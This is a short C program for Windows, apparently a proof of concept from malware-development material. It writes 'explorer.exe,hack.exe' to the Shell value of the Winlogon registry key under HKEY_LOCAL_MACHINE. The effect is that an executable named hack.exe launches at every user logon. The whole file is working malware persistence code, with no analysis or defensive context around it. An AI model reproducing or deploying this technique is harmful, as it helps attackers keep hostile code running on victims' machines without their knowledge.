#include <windows.h>
#include <string.h>

int main(int argc, char* argv[]) {
  HKEY hkey = NULL;

  // shell
  const char* sh = "explorer.exe,hack.exe";

  // startup
  LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", 0 , KEY_WRITE, &hkey);
  if (res == ERROR_SUCCESS) {
    // create new registry key

        RegSetValueEx(hkey, (LPCSTR)"Shell", 0, REG_SZ, (unsigned char*)sh, strlen(sh));
    RegCloseKey(hkey);
  }

  return 0;
}